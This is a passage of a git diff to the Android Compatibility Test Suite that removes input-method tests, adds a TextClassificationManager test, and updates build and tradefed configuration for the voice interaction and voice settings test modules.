-            fail("InputContentInfo must not accept a null content URI.");
-        } catch (NullPointerException e) {
-            // OK.
-        } catch (Exception e) {
-            fail("Unexpected exception=" + e);
-        }
-
-        try {
-            InputContentInfo info = new InputContentInfo(
-                    Uri.parse("https://example.com"),
-                    new ClipDescription("sample content", new String[]{"image/png"}),
-                    Uri.parse("https://example.com"));
-            fail("InputContentInfo must accept content URI only.");
-        } catch (InvalidParameterException e) {
-            // OK.
-        } catch (Exception e) {
-            fail("Unexpected exception=" + e);
-        }
-    }
-
-    public void testMimeType() {
-        try {
-            InputContentInfo info = new InputContentInfo(
-                     Uri.parse("content://com.example/path"), null,
-                     Uri.parse("https://example.com"));
-            fail("InputContentInfo must not accept a null description.");
-        } catch (NullPointerException e) {
-            // OK.
-        } catch (Exception e) {
-            fail("Unexpected exception=" + e);
-        }
-    }
-
-    public void testLinkUri() {
-        try {
-            InputContentInfo info = new InputContentInfo(
-                     Uri.parse("content://com.example/path"),
-                     new ClipDescription("sample content", new String[]{"image/png"}),
-                     null);
-        } catch (Exception e) {
-            fail("InputContentInfo must accept a null link Uri.");
-        }
-
-        try {
-            InputContentInfo info = new InputContentInfo(
-                     Uri.parse("content://com.example/path"),
-                     new ClipDescription("sample content", new String[]{"image/png"}),
-                     Uri.parse("http://example.com/path"));
-        } catch (Exception e) {
-            fail("InputContentInfo must accept http link Uri.");
-        }
-
-        try {
-            InputContentInfo info = new InputContentInfo(
-                     Uri.parse("content://com.example/path"),
-                     new ClipDescription("sample content", new String[]{"image/png"}),
-                     Uri.parse("https://example.com/path"));
-        } catch (Exception e) {
-            fail("InputContentInfo must accept https link Uri.");
-        }
-
-        try {
-            InputContentInfo info = new InputContentInfo(
-                     Uri.parse("content://com.example/path"),
-                     new ClipDescription("sample content", new String[]{"image/png"}),
-                     Uri.parse("ftp://example.com/path"));
-            fail("InputContentInfo must accept http and https link Uri only.");
-        } catch (InvalidParameterException e) {
-            // OK.
-        } catch (Exception e) {
-            fail("Unexpected exception=" + e);
-        }
-
-        try {
-            InputContentInfo info = new InputContentInfo(
-                     Uri.parse("content://com.example/path"),
-                     new ClipDescription("sample content", new String[]{"image/png"}),
-                     Uri.parse("content://com.example/path"));
-            fail("InputContentInfo must accept http and https link Uri only.");
-        } catch (InvalidParameterException e) {
-            // OK.
-        } catch (Exception e) {
-            fail("Unexpected exception=" + e);
-        }
-    }
-
-    public void testRequestAndReleasePermission() {
-        InputContentInfo info = new InputContentInfo(
-                Uri.parse("content://com.example/path"),
-                new ClipDescription("sample content", new String[]{"image/png"}),
-                Uri.parse("https://example.com"));
-
-        // Here we only assert that {request, release}Permission() do not crash, because ensuring
-        // the entire functionality of these methods requires end-to-end IME test environment, which
-        // we do not have yet in CTS.
-        // Note it is actually intentional that calling these methods here has no effect.  Those
-        // methods would have effect only after the object is passed from the IME process to the
-        // application process.
-        // TODO: Create an end-to-end CTS test for this functionality.
-        info.requestPermission();
-        info.releasePermission();
-        info.requestPermission();
-        info.releasePermission();
-    }
-
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/InputMethodCtsActivity.java b/tests/tests/view/src/android/view/inputmethod/cts/InputMethodCtsActivity.java
deleted file mode 100644
index acbe8a1..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/InputMethodCtsActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.view.inputmethod.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.cts.R;
-
-public class InputMethodCtsActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        setContentView(R.layout.inputmethod_edittext);
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/InputMethodInfoTest.java b/tests/tests/view/src/android/view/inputmethod/cts/InputMethodInfoTest.java
deleted file mode 100644
index 3e071b6..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/InputMethodInfoTest.java
+++ /dev/null
@@ -1,271 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.content.pm.ServiceInfo;
-import android.content.res.Resources;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.util.Printer;
-import android.view.inputmethod.InputMethod;
-import android.view.inputmethod.InputMethodInfo;
-import android.view.inputmethod.InputMethodManager;
-import android.view.inputmethod.InputMethodSubtype;
-
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-public class InputMethodInfoTest extends AndroidTestCase {
-    private InputMethodInfo mInputMethodInfo;
-    private String mPackageName;
-    private String mClassName;
-    private CharSequence mLabel;
-    private String mSettingsActivity;
-
-    private int mSubtypeNameResId;
-    private int mSubtypeIconResId;
-    private String mSubtypeLocale;
-    private String mSubtypeMode;
-    private String mSubtypeExtraValue_key;
-    private String mSubtypeExtraValue_value;
-    private String mSubtypeExtraValue;
-    private boolean mSubtypeIsAuxiliary;
-    private boolean mSubtypeOverridesImplicitlyEnabledSubtype;
-    private int mSubtypeId;
-    private InputMethodSubtype mInputMethodSubtype;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mPackageName = mContext.getPackageName();
-        mClassName = InputMethodSettingsActivityStub.class.getName();
-        mLabel = "test";
-        mSettingsActivity = "android.view.inputmethod.cts.InputMethodSettingsActivityStub";
-        mInputMethodInfo = new InputMethodInfo(mPackageName, mClassName, mLabel, mSettingsActivity);
-
-        mSubtypeNameResId = 0;
-        mSubtypeIconResId = 0;
-        mSubtypeLocale = "en_US";
-        mSubtypeMode = "keyboard";
-        mSubtypeExtraValue_key = "key1";
-        mSubtypeExtraValue_value = "value1";
-        mSubtypeExtraValue = "tag," + mSubtypeExtraValue_key + "=" + mSubtypeExtraValue_value;
-        mSubtypeIsAuxiliary = false;
-        mSubtypeOverridesImplicitlyEnabledSubtype = false;
-        mSubtypeId = 99;
-        mInputMethodSubtype = new InputMethodSubtype(mSubtypeNameResId, mSubtypeIconResId,
-                mSubtypeLocale, mSubtypeMode, mSubtypeExtraValue, mSubtypeIsAuxiliary,
-                mSubtypeOverridesImplicitlyEnabledSubtype, mSubtypeId);
-    }
-
-    public void testInputMethodInfoProperties() throws XmlPullParserException, IOException {
-        assertEquals(0, mInputMethodInfo.describeContents());
-        assertNotNull(mInputMethodInfo.toString());
-
-        assertInfo(mInputMethodInfo);
-        assertEquals(0, mInputMethodInfo.getIsDefaultResourceId());
-
-        Intent intent = new Intent(InputMethod.SERVICE_INTERFACE);
-        intent.setClass(mContext, InputMethodSettingsActivityStub.class);
-        PackageManager pm = mContext.getPackageManager();
-        List<ResolveInfo> ris = pm.queryIntentServices(intent, PackageManager.GET_META_DATA);
-        for (int i = 0; i < ris.size(); i++) {
-            ResolveInfo resolveInfo = ris.get(i);
-            mInputMethodInfo = new InputMethodInfo(mContext, resolveInfo);
-            assertService(resolveInfo.serviceInfo, mInputMethodInfo.getServiceInfo());
-            assertInfo(mInputMethodInfo);
-        }
-    }
-
-    public void testInputMethodSubtypeProperties() {
-        // TODO: Test InputMethodSubtype.getDisplayName()
-        assertEquals(mSubtypeNameResId, mInputMethodSubtype.getNameResId());
-        assertEquals(mSubtypeIconResId, mInputMethodSubtype.getIconResId());
-        assertEquals(mSubtypeLocale, mInputMethodSubtype.getLocale());
-        assertEquals(mSubtypeMode, mInputMethodSubtype.getMode());
-        assertEquals(mSubtypeExtraValue, mInputMethodSubtype.getExtraValue());
-        assertTrue(mInputMethodSubtype.containsExtraValueKey(mSubtypeExtraValue_key));
-        assertEquals(mSubtypeExtraValue_value,
-                mInputMethodSubtype.getExtraValueOf(mSubtypeExtraValue_key));
-        assertEquals(mSubtypeIsAuxiliary, mInputMethodSubtype.isAuxiliary());
-        assertEquals(mSubtypeOverridesImplicitlyEnabledSubtype,
-                mInputMethodSubtype.overridesImplicitlyEnabledSubtype());
-        assertEquals(mSubtypeId, mInputMethodSubtype.hashCode());
-    }
-
-    private void assertService(ServiceInfo expected, ServiceInfo actual) {
-        assertEquals(expected.getIconResource(), actual.getIconResource());
-        assertEquals(expected.labelRes, actual.labelRes);
-        assertEquals(expected.nonLocalizedLabel, actual.nonLocalizedLabel);
-        assertEquals(expected.icon, actual.icon);
-        assertEquals(expected.permission, actual.permission);
-    }
-
-    private void assertInfo(InputMethodInfo info) {
-        assertEquals(mPackageName, info.getPackageName());
-        assertEquals(mSettingsActivity, info.getSettingsActivity());
-        ComponentName component = info.getComponent();
-        assertEquals(mClassName, component.getClassName());
-        String expectedId = component.flattenToShortString();
-        assertEquals(expectedId, info.getId());
-        assertEquals(mClassName, info.getServiceName());
-    }
-
-    public void testDump() {
-        MockPrinter printer = new MockPrinter();
-        String prefix = "test";
-        mInputMethodInfo.dump(printer, prefix);
-    }
-
-    public void testLoadIcon() {
-        PackageManager pm = mContext.getPackageManager();
-        assertNotNull(mInputMethodInfo.loadIcon(pm));
-    }
-
-    public void testEquals() {
-        InputMethodInfo inputMethodInfo = new InputMethodInfo(mPackageName, mClassName, mLabel,
-                mSettingsActivity);
-        assertTrue(inputMethodInfo.equals(mInputMethodInfo));
-    }
-
-    public void testLoadLabel() {
-        CharSequence expected = "test";
-        PackageManager pm = mContext.getPackageManager();
-        assertEquals(expected.toString(), mInputMethodInfo.loadLabel(pm).toString());
-    }
-
-    public void testInputMethodInfoWriteToParcel() {
-        final Parcel p = Parcel.obtain();
-        mInputMethodInfo.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        final InputMethodInfo imi = InputMethodInfo.CREATOR.createFromParcel(p);
-        p.recycle();
-
-        assertEquals(mInputMethodInfo.getPackageName(), imi.getPackageName());
-        assertEquals(mInputMethodInfo.getServiceName(), imi.getServiceName());
-        assertEquals(mInputMethodInfo.getSettingsActivity(), imi.getSettingsActivity());
-        assertEquals(mInputMethodInfo.getId(), imi.getId());
-        assertEquals(mInputMethodInfo.getIsDefaultResourceId(), imi.getIsDefaultResourceId());
-        assertService(mInputMethodInfo.getServiceInfo(), imi.getServiceInfo());
-    }
-
-    public void testInputMethodSubtypeWriteToParcel() {
-        final Parcel p = Parcel.obtain();
-        mInputMethodSubtype.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        final InputMethodSubtype subtype = InputMethodSubtype.CREATOR.createFromParcel(p);
-        p.recycle();
-
-        assertEquals(mInputMethodSubtype.containsExtraValueKey(mSubtypeExtraValue_key),
-                subtype.containsExtraValueKey(mSubtypeExtraValue_key));
-        assertEquals(mInputMethodSubtype.getExtraValue(), subtype.getExtraValue());
-        assertEquals(mInputMethodSubtype.getExtraValueOf(mSubtypeExtraValue_key),
-                subtype.getExtraValueOf(mSubtypeExtraValue_key));
-        assertEquals(mInputMethodSubtype.getIconResId(), subtype.getIconResId());
-        assertEquals(mInputMethodSubtype.getLocale(), subtype.getLocale());
-        assertEquals(mInputMethodSubtype.getMode(), subtype.getMode());
-        assertEquals(mInputMethodSubtype.getNameResId(), subtype.getNameResId());
-        assertEquals(mInputMethodSubtype.hashCode(), subtype.hashCode());
-        assertEquals(mInputMethodSubtype.isAuxiliary(), subtype.isAuxiliary());
-        assertEquals(mInputMethodSubtype.overridesImplicitlyEnabledSubtype(),
-                subtype.overridesImplicitlyEnabledSubtype());
-    }
-
-    public void testInputMethodSubtypesOfSystemImes() {
-        if (!getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_INPUT_METHODS)) {
-            return;
-        }
-
-        final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class);
-        final List<InputMethodInfo> imis = imm.getInputMethodList();
-        final ArrayList<String> localeList = new ArrayList<>(Arrays.asList(
-                Resources.getSystem().getAssets().getLocales()));
-        boolean foundEnabledSystemImeSubtypeWithValidLanguage = false;
-        for (InputMethodInfo imi : imis) {
-            if ((imi.getServiceInfo().applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) == 0) {
-                continue;
-            }
-            final int subtypeCount = imi.getSubtypeCount();
-            // System IME must have one subtype at least.
-            assertTrue(subtypeCount > 0);
-            if (foundEnabledSystemImeSubtypeWithValidLanguage) {
-                continue;
-            }
-            final List<InputMethodSubtype> enabledSubtypes =
-                    imm.getEnabledInputMethodSubtypeList(imi, true);
-            SUBTYPE_LOOP:
-            for (InputMethodSubtype subtype : enabledSubtypes) {
-                final String subtypeLocale = subtype.getLocale();
-                if (subtypeLocale.length() < 2) {
-                    continue;
-                }
-                // TODO: Detect language more strictly.
-                final String subtypeLanguage = subtypeLocale.substring(0, 2);
-                for (final String locale : localeList) {
-                    if (locale.startsWith(subtypeLanguage)) {
-                        foundEnabledSystemImeSubtypeWithValidLanguage = true;
-                        break SUBTYPE_LOOP;
-                    }
-                }
-            }
-        }
-        assertTrue(foundEnabledSystemImeSubtypeWithValidLanguage);
-    }
-
-    public void testAtLeastOneEncryptionAwareInputMethodIsAvailable() {
-        if (!getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_INPUT_METHODS)) {
-            return;
-        }
-
-        final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class);
-        final List<InputMethodInfo> imis = imm.getInputMethodList();
-        boolean hasEncryptionAwareInputMethod = false;
-        for (final InputMethodInfo imi : imis) {
-            final ServiceInfo serviceInfo = imi.getServiceInfo();
-            if (serviceInfo == null) {
-                continue;
-            }
-            if ((serviceInfo.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) !=
-                    ApplicationInfo.FLAG_SYSTEM) {
-                continue;
-            }
-            if (serviceInfo.encryptionAware) {
-                hasEncryptionAwareInputMethod = true;
-                break;
-            }
-        }
-        assertTrue(hasEncryptionAwareInputMethod);
-    }
-
-    class MockPrinter implements Printer {
-        @Override
-        public void println(String x) {
-        }
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/tests/view/src/android/view/inputmethod/cts/InputMethodManagerTest.java
deleted file mode 100644
index 9389e92..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/InputMethodManagerTest.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.view.inputmethod.cts;
-
-import android.view.cts.R;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.cts.util.PollingCheck;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.ResultReceiver;
-import android.test.ActivityInstrumentationTestCase2;
-import android.view.KeyEvent;
-import android.view.Window;
-import android.view.inputmethod.BaseInputConnection;
-import android.view.inputmethod.InputMethodInfo;
-import android.view.inputmethod.InputMethodManager;
-import android.widget.EditText;
-
-import java.util.List;
-
-public class InputMethodManagerTest
-                  extends ActivityInstrumentationTestCase2<InputMethodCtsActivity> {
-
-    public InputMethodManagerTest() {
-        super("android.view.cts", InputMethodCtsActivity.class);
-    }
-
-    private InputMethodCtsActivity mActivity;
-    private Instrumentation mInstrumentation;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Close soft input just in case.
-        sendKeys(KeyEvent.KEYCODE_BACK);
-        super.tearDown();
-    }
-
-    public void testInputMethodManager() throws Throwable {
-        if (!getActivity().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_INPUT_METHODS)) {
-            return;
-        }
-
-        Window window = mActivity.getWindow();
-        final EditText view = (EditText) window.findViewById(R.id.entry);
-
-        new PollingCheck(1000) {
-            @Override
-            protected boolean check() {
-                return view.hasWindowFocus();
-            }
-        }.run();
-
-        runTestOnUiThread(new Runnable() {
-           @Override
-            public void run() {
-               view.requestFocus();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertTrue(view.isFocused());
-
-        BaseInputConnection connection = new BaseInputConnection(view, false);
-        Context context = mInstrumentation.getTargetContext();
-        final InputMethodManager imManager = (InputMethodManager) context
-                .getSystemService(Context.INPUT_METHOD_SERVICE);
-
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return imManager.isActive();
-            }
-        }.run();
-
-        assertTrue(imManager.isAcceptingText());
-        assertTrue(imManager.isActive(view));
-
-        assertFalse(imManager.isFullscreenMode());
-        connection.reportFullscreenMode(true);
-        // Only IMEs are allowed to report full-screen mode.  Calling this method from the
-        // application should have no effect.
-        assertFalse(imManager.isFullscreenMode());
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                IBinder token = view.getWindowToken();
-
-                // Show and hide input method.
-                assertTrue(imManager.showSoftInput(view, InputMethodManager.SHOW_IMPLICIT));
-                assertTrue(imManager.hideSoftInputFromWindow(token, 0));
-
-                Handler handler = new Handler();
-                ResultReceiver receiver = new ResultReceiver(handler);
-                assertTrue(imManager.showSoftInput(view, 0, receiver));
-                receiver = new ResultReceiver(handler);
-                assertTrue(imManager.hideSoftInputFromWindow(token, 0, receiver));
-
-                imManager.showSoftInputFromInputMethod(token, InputMethodManager.SHOW_FORCED);
-                imManager.hideSoftInputFromInputMethod(token, InputMethodManager.HIDE_NOT_ALWAYS);
-
-                // status: hide to show to hide
-                imManager.toggleSoftInputFromWindow(token, 0, InputMethodManager.HIDE_NOT_ALWAYS);
-                imManager.toggleSoftInputFromWindow(token, 0, InputMethodManager.HIDE_NOT_ALWAYS);
-
-                List<InputMethodInfo> enabledImList = imManager.getEnabledInputMethodList();
-                if (enabledImList != null && enabledImList.size() > 0) {
-                    imManager.setInputMethod(token, enabledImList.get(0).getId());
-                    // cannot test whether setting was successful
-                }
-
-                List<InputMethodInfo> imList = imManager.getInputMethodList();
-                if (imList != null && enabledImList != null) {
-                    assertTrue(imList.size() >= enabledImList.size());
-                }
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/KeyboardTest.java b/tests/tests/view/src/android/view/inputmethod/cts/KeyboardTest.java
deleted file mode 100644
index f56ad0e..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/KeyboardTest.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-import android.view.cts.R;
-
-import android.os.Build.VERSION;
-import android.os.Build.VERSION_CODES;
-import android.test.AndroidTestCase;
-import android.inputmethodservice.Keyboard;
-import android.inputmethodservice.Keyboard.Key;
-
-import java.util.List;
-
-public class KeyboardTest extends AndroidTestCase {
-
-    public void testKeyOnPressedAndReleased() {
-        Key nonStickyKey = null;
-        Key stickyKey = null;
-        // Indirectly instantiate Keyboard.Key with XML resources.
-        final Keyboard keyboard = new Keyboard(getContext(), R.xml.keyboard);
-        for (final Key key : keyboard.getKeys()) {
-            if (!key.sticky) {
-                nonStickyKey = key;
-                break;
-            }
-        }
-        for (final Key key : keyboard.getModifierKeys()) {
-            if (key.sticky) {
-                stickyKey = key;
-                break;
-            }
-        }
-
-        // Asserting existences of following keys is not the goal of this test, but this should work
-        // anyway.
-        assertNotNull(nonStickyKey);
-        assertNotNull(stickyKey);
-
-        // At first, both "pressed" and "on" must be false.
-        assertFalse(nonStickyKey.pressed);
-        assertFalse(stickyKey.pressed);
-        assertFalse(nonStickyKey.on);
-        assertFalse(stickyKey.on);
-
-        // Pressing the key must flip the "pressed" state only.
-        nonStickyKey.onPressed();
-        stickyKey.onPressed();
-        assertTrue(nonStickyKey.pressed);
-        assertTrue(stickyKey.pressed);
-        assertFalse(nonStickyKey.on);
-        assertFalse(stickyKey.on);
-
-        // Releasing the key inside the key area must flip the "pressed" state and toggle the "on"
-        // state if the key is marked as sticky.
-        nonStickyKey.onReleased(true /* inside */);
-        stickyKey.onReleased(true /* inside */);
-        assertFalse(nonStickyKey.pressed);
-        assertFalse(stickyKey.pressed);
-        assertFalse(nonStickyKey.on);
-        assertTrue(stickyKey.on);   // The key state is toggled.
-
-        // Pressing the key again must flip the "pressed" state only.
-        nonStickyKey.onPressed();
-        stickyKey.onPressed();
-        assertTrue(nonStickyKey.pressed);
-        assertTrue(stickyKey.pressed);
-        assertFalse(nonStickyKey.on);
-        assertTrue(stickyKey.on);
-
-        // Releasing the key inside the key area must flip the "pressed" state and toggle the "on"
-        // state if the key is marked as sticky hence we will be back to the initial state.
-        nonStickyKey.onReleased(true /* inside */);
-        stickyKey.onReleased(true /* inside */);
-        assertFalse(nonStickyKey.pressed);
-        assertFalse(stickyKey.pressed);
-        assertFalse(nonStickyKey.on);
-        assertFalse(stickyKey.on);
-
-        // Pressing then releasing the key outside the key area must not affect the "on" state.
-        nonStickyKey.onPressed();
-        stickyKey.onPressed();
-        nonStickyKey.onReleased(false /* inside */);
-        stickyKey.onReleased(false /* inside */);
-        assertFalse(nonStickyKey.pressed);
-        assertFalse(stickyKey.pressed);
-        assertFalse(nonStickyKey.on);
-        assertFalse(stickyKey.on);
-    }
-}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
new file mode 100644
index 0000000..f9c86cc
--- /dev/null
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.mockito.Mockito.mock;
+
+import android.os.LocaleList;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.textclassifier.TextClassificationManager;
+import android.view.textclassifier.TextClassifier;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextClassificationManagerTest {
+
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
+
+    private TextClassificationManager mTcm;
+    private TextClassifier mClassifier;
+
+    @Before
+    public void setup() {
+        mTcm = InstrumentationRegistry.getTargetContext()
+                .getSystemService(TextClassificationManager.class);
+        mTcm.setTextClassifier(null); // Resets the classifier.
+        mClassifier = mTcm.getTextClassifier();
+    }
+
+    @Test
+    public void testSmartSelectionDoesNotThrowException() {
+        mClassifier.suggestSelection("text", 2, 3, LOCALES);
+    }
+
+    @Test
+    public void testClassifyTextDoesNotThrowException() {
+        mClassifier.classifyText("text", 2, 3, LOCALES);
+    }
+
+    @Test
+    public void testSetTextClassifier() {
+        TextClassifier classifier = mock(TextClassifier.class);
+        mTcm.setTextClassifier(classifier);
+        assertEquals(classifier, mTcm.getTextClassifier());
+    }
+}
+
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
index d64574a..cbb874a 100644
--- a/tests/tests/voiceinteraction/Android.mk
+++ b/tests/tests/voiceinteraction/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/voiceinteraction/AndroidTest.xml b/tests/tests/voiceinteraction/AndroidTest.xml
index c69c247..cdac41f 100644
--- a/tests/tests/voiceinteraction/AndroidTest.xml
+++ b/tests/tests/voiceinteraction/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Voice Interaction test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsVoiceInteractionService.apk" />
         <option name="test-file-name" value="CtsVoiceInteractionApp.apk" />
@@ -27,5 +28,6 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.voiceinteraction.cts" />
+        <option name="runtime-hint" value="11m" />
     </test>
 </configuration>
diff --git a/tests/tests/voiceinteraction/service/Android.mk b/tests/tests/voiceinteraction/service/Android.mk
index c485f21..b8d3aa8 100644
--- a/tests/tests/voiceinteraction/service/Android.mk
+++ b/tests/tests/voiceinteraction/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
index cbc97a2..c554470 100644
--- a/tests/tests/voicesettings/Android.mk
+++ b/tests/tests/voicesettings/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/voicesettings/AndroidManifest.xml b/tests/tests/voicesettings/AndroidManifest.xml
index dfd1de5..cf1fa1a 100644
--- a/tests/tests/voicesettings/AndroidManifest.xml
+++ b/tests/tests/voicesettings/AndroidManifest.xml
@@ -23,7 +23,7 @@
     <application>
         <uses-library android:name="android.test.runner" />
 
-        <activity android:name="android.cts.util.BroadcastTestStartActivity"
+        <activity android:name="com.android.compatibility.common.util.BroadcastTestStartActivity"
                   android:label="The Target Activity for VoiceSettings CTS Test">
             <intent-filter>
                 <action android:name="android.intent.action.TEST_START_ACTIVITY_ZEN_MODE" />
diff --git a/tests/tests/voicesettings/AndroidTest.xml b/tests/tests/voicesettings/AndroidTest.xml
index 64f5335..be1a4a9 100644
--- a/tests/tests/voicesettings/AndroidTest.xml
+++ b/tests/tests/voicesettings/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Voice Settings test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsVoiceSettingsService.apk" />
         <option name="test-file-name" value="CtsVoiceSettingsTestCases.apk" />
@@ -24,5 +25,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.voicesettings.cts" />
+        <option name="runtime-hint" value="10m" />
     </test>
 </configuration>
diff --git a/tests/tests/voicesettings/service/Android.mk b/tests/tests/voicesettings/service/Android.mk
index cc26569..6f246bd 100644
--- a/tests/tests/voicesettings/service/Android.mk
+++ b/tests/tests/voicesettings/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
